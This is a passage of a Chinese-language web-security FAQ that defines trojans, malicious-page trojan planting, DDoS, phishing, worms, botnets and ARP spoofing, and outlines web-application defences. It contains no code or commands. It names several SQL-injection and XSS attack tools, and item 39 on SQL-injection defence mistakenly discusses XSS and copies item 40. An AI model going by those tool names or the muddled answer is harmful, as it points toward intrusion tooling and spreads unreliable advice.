答：木马(Trojan)这个名字来源于古希腊 传说 ，在互联网时代它通常是指通过一段特定的程序(木马程序)来控制另一台计算机。木马通常有两个可执行程序：一个是客户端，即控制端，另一个是服务端，即被控制端。木马的设计者为了防止木马被发现，而采用多种手段隐藏木马。木马的服务一旦运行并被控制端连接，其控制端将享有服务端的大部分操作权限，例如给计算机增加口令，浏览、移动、复制、删除文件，修改注册表，更改计算机配置等。
26、什么叫网站挂马
答：“挂马” 就是黑客入侵了一些网站后，将自己编写的网页木马嵌入被黑网站的主页中。当访问者浏览被挂马页面时，自己的计算机将会被植入木马，黑客便可通过远程控制他们的计算机来实现不可告人的目的。网页木马就是将木马和网页结合在一起，打开网页的同时也会运行木马。最初的网页木马原理是利用IE浏览器的ActiveX控件，运行网页木马后会弹出一个控件-提示，只有点击确认后才会运行其中的木马。这种网页木马在当时网络安全意识普遍不高的情况下还是有一点威胁的，但是其缺点显而易见，就是会出现ActiveX控件-提示。现在很少会有人去点击那莫名其妙的ActiveX控件-确认窗口了。在这种情况下，新的网页木马诞生了。这类网页木马通常利用IE浏览器的漏洞，在运行的时候没有丝毫提示，因此隐蔽性极高。
27、什么叫DOS./DDOS攻击?
答：DoS即Denial Of Service，拒绝服务的缩写。DoS是指利用网络协议实现的缺陷来耗尽被攻击对象的资源，目的是让目标计算机或网络无法提供正常的服务或资源访问，使目标系统服务系统停止响应甚至崩溃。在此攻击中并不包括侵入目标服务器或目标网络设备。这些被大量消耗的服务资源包括网络带宽、文件系统空间容量、开放的进程或者允许的连接。这种攻击会导致资源的匮乏，无论计算机的处理速度多快、内存容量多大、网络带宽有多高，都无法避免这种攻击带来的后果。
DDoS(Distributed Denial Of Service)又把DoS又向前发展了一大步，这种分布式拒绝服务攻击是黑客利用在已经被侵入并已被控制的、不同的高带宽主机(可能是数百，甚至成千上万台)上安装大量的DoS服务程序，它们等待来自中央攻击控制中心的命令。中央攻击控制中心再适时启动全体受控主机的DoS服务进程，让它们对一个特定目标发送尽可能多的网络访问请求，形成一股DoS洪流冲击目标系统，猛烈地DoS攻击同一个网站。被攻击的目标网站会很快失去反应而不能及时处理正常的访问甚至系统瘫痪崩溃。
28、什么叫网络钓鱼
答：网络钓鱼(Phishing，又名钓鱼法或钓鱼式攻击)是通过传播“声称来自于银行或其他知名机构”的欺骗信息，意图引诱受害者泄漏出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将受害者引诱到一个与其目标网站非常相似的钓鱼网站上，并获取受害者在此网站上输入的个人敏感信息。通常这个攻击过程不会让受害者警觉。它是“社会工程攻击”的一种形式。
29、什么叫网络蠕虫
答：一般认为：蠕虫病毒是一种通过网络传播的恶性病毒，它除具有病毒的一些共性外，同时具有自己的一些特征。如：不利用文件寄生(有的只存在于内存中)、对网络造成拒绝服务，以及与黑客技术相结合，等等。蠕虫病毒主要的破坏方式是大量的复制自身，然后在网络中传播，严重占用有限的网络资源，最终引起整个网络的瘫痪，使用户不能通过网络进行正常的工作。每一次蠕虫病毒的爆发都会给全球经济造成巨大损失，因此它的危害性是十分巨大的。有一些蠕虫病毒还具有更改用户文件、将用户文件自动当附件转发的功能，更是严重的地危害到用户的 系统安全 。
30、什么叫僵尸网络
答：僵尸网络(英文名称叫BotNet)，是互联网上受到黑客集中控制的一群计算机，往往被黑客用来发起大规模的网络攻击。如：分布式拒绝服务攻击(DDoS)、海量垃圾邮件等。同时，黑客控制的这些计算机所保存的信息也都可以被黑客随意“取用”。因此，不论是对网络安全运行还是用户数据安全的保护，僵尸网络都是极具威胁的隐患。然而，发现一个僵尸网络是非常困难的，因为黑客通常远程、隐蔽地控制分散在网络上的“僵尸主机”，这些主机的用户往往并不知情。因此，僵尸网络是目前互联网上最受黑客青睐的作案工具。
31、什么是ARP攻击
答：ARP是地址解析协议，是一种将IP地址转化为MAC地址的协议。在网络中，当A主机需要向B主机发送报文时，会先查询本地的ARP缓存表，找到与B主机IP地址对应的MAC地址后，进行数据传输。如果未找到，则会发送一个广播ARP请求报文，请求对应B主机IP的B回应MAC地址。这个广播包会被整个广播域中所有主机收到，但只有B主机会发现IP地址对应自己，才会将MAC地址回应给A。此时A收到这个回应并更新自己的ARP缓存，进行下一步的数据传输。ARP攻击应当叫做ARP欺骗，就是冒充网关地址对网络中主机给出ARP查询回应，使得本来是A-网关的数据走向，变成A-攻击者-网关。
32、ARP攻击的危害有哪些?
答：ARP攻击的危害主要有两个方面。从ARP攻击的原理来看，这种攻击使得受害主机的所有网络数据都将通过攻击者进行转发。这样一来，要窃取信息或控制流量就变得轻而易举。另一方面，由于ARP缓存会不断刷新，有的时候，真正的网关会偶尔“清醒”。当真正的网关参与到数据包转发中来时，由于做了一个切换动作，可能会有频繁的短暂掉线现象。所以，如果Web服务器所在网络中发生了ARP攻击，将导致Web服务器不可访问。
细分攻击介质：
33、WEB应用系统(网站)会面临来自哪些方面的安全问题
答：网站面临的安全问题是方方面面的，主要可概括为以下四个方面：
1)操作系统、后台数据库的安全问题
这里指操作系统和后台数据库的漏洞，配置不当，如弱口令等等，导致黑客、病毒可以利用这些缺陷对网站进行攻击。
2)Web发布系统的漏洞
Web业务常用的发布系统(即Web服务器)，如IIS、Apache等，这些系统存在的安全漏洞，会给入侵者可乘之机。
3)Web应用程序的漏洞
主要指Web应用程序的编写人员，在编程的过程中没有考虑到安全的因素，使得黑客能够利用这些漏洞发起对网站的攻击，比如SQL注入、跨站脚本攻击等等。
4)自身网络的安全状况
网站服务器所处的网络安全状况也影响着网站的安全，比如网络中存在的DoS攻击等，也会影响到网站的正常运营。
34、Web程序漏洞是怎么形成的
答：Web站点之所以存在如此众多的安全漏洞，是由下列所示的这些原因造成的：
1、 大部分的中小型网站都是使用某个建站模块建设的，而这些通用的建站模块不仅本身存在各种安全漏洞，同时一些使用它们的建站人员根本没有在建站完成后对站点进行安全加固。
2、 Web站点开发人员对安全不够重视，在编写网页时，没有对用户的输入进行验证，没有对数据的大小、类型和字符串进行规范，没有限制API函数对系统资源的使用，以及对Web服务器没有进行相应的资源限制，引起拒绝服务攻击。
3、 管理员对Web服务器主机系统及Web应用程序本身配置不当，一些中小企业自己管理的Web站点根本没有足够的技术人员来管理它们的安全。
4、 当Web站点是托管在某个电信机房时，对它们进行的远程管理存在安全风险。
5、 Web站点管理员本身技术水平的限制，对各种针对Web站点的安全攻击不了解，也没有端正工作态度，没能对站点进行认真的安全加固，以及进行日常的安全检查。
6、 Web站点所处网络大环境的安全设计不合理，以及没有将安全防范工作融入到站点整个生命周期的各个阶段。
7、 企业领导不够重视，在Web站点的安全防范方面投入的资金太少或不合理，没有制定一个有效的Web站点安全防范策略，明确Web站点日常管理流程，也没有对Web站点的管理人员和工作人员进行不断的安全培训。
35、黑客主要利用哪些方法对网站进行数据窃取和修改
答：黑客需要使用拥有一定权限的用户帐户才能对网站进行数据窃取和修改，所以可能造成用户权限泄漏或提升的漏洞，都可以被黑客利用来进行攻击，如SQL注入，溢出漏洞、暴力猜解等。
36、目前对Web服务器威胁较大的SQL注入工具有哪些?
答：网上常见的SQL注入工具有“啊D SQL注入工具”、pangolin、NBSI、HDSI、“管中窥豹注入工具”等。
37、目前对Web服务器威胁较大的XSS攻击工具有哪些?
答：网上常见的XSS攻击工具有sessionIE、Webscan、XSS Inject Scanner 等。
38、怎样应对Web业务安全事件
答：应对Web业务安全事件，从根本上的解决办法就是对Web应用程序源代码进行代码检查和漏洞修复，但是这会影响正常Web业务运行，而且费用较高。比较有效的解决方案是通过专业的Web业务安全检查工具或服务来检查网站安全状况，部署专业的Web安全产品。比如基于行为检测的入侵防御产品。同时在管理上，要求网管人员实时对网站进行监测，一旦发现网页被篡改等问题立刻进行页面恢复、删除恶意脚本等工作。
39、如何防御SQL注入
答：要想从根本上解决XSS攻击，就要对Web应用程序源代码进行检查，发现安全漏洞进行修改。但是这种方法在实际中给用户带来了不便，如：需要花费大量的人力财力、可能无法找到当时的网站开发人员、需要网站下线等。对代码进行修改后，由于增加了过滤条件和功能，同时也给服务器带来了计算压力。通常的解决方法是在数据库服务器前端部署入侵防御产品。SQL注入攻击具有变种多、隐蔽性强等特点，传统的特征匹配检测方式不能有效地进行防御，需要采用“基于攻击手法的行为监测”的入侵防御产品才能够精确地检测到SQL注入攻击。
40、如何防御XSS
答：要想从根本上解决XSS攻击，就要对Web应用程序源代码进行检查，发现安全漏洞进行修改。但是这种方法在实际中给用户带来了不便，如：需要花费大量的人力财力;可能无法找到当时的网站开发人员、需要网站下线等。对代码进行修改后，由于增加了过滤条件和功能，同时也给服务器带来了计算压力。通常的解决方法是在数据库服务器前端部署入侵防御产品。XSS攻击具有变种多、隐蔽性强等特点，传统的特征匹配检测方式不能有效地进行防御，需要采用基于攻击手法的行为监测的入侵防御产品产品才能够精确地检测到XSS攻击。
41、如何发现网站挂马
答：服务器被挂马，通常情况下，若出现诸如“弹出页面”，则可以比较容易发现，发现防病毒软件告警之类，则可以发现服务器被挂马;由于漏洞不断更新，挂马种类时刻都在变换，通过客户端的反映来发现服务器是否被挂马往往疏漏较大;正确的做法是经常性的检查服务器日志，发现异常信息;经常检查网站代码，借助于专业的检测工具来发现网页木马会大大提高工作效率和准确度。 关于网站前端安全策略和前端安全策略有哪些的介绍到此就结束了，不知道你从中找到你需要的信息了吗 ？如果你还想了解更多这方面的信息，记得收藏关注本站。 网站前端安全策略的介绍就聊到这里吧，感谢你花时间阅读本站内容，更多关于前端安全策略有哪些、网站前端安全策略的信息别忘了在本站进行查找喔。
版权声明：本文内容由网络用户投稿，版权归原作者所有，本站不拥有其著作权，亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容，请联系我们jiasou666@gmail.com 处理，核实后本网站将在24小时内删除侵权内容。
相关文章
发表评论
最近发表
推荐文章
热评文章
暂时没有评论，来抢沙发吧~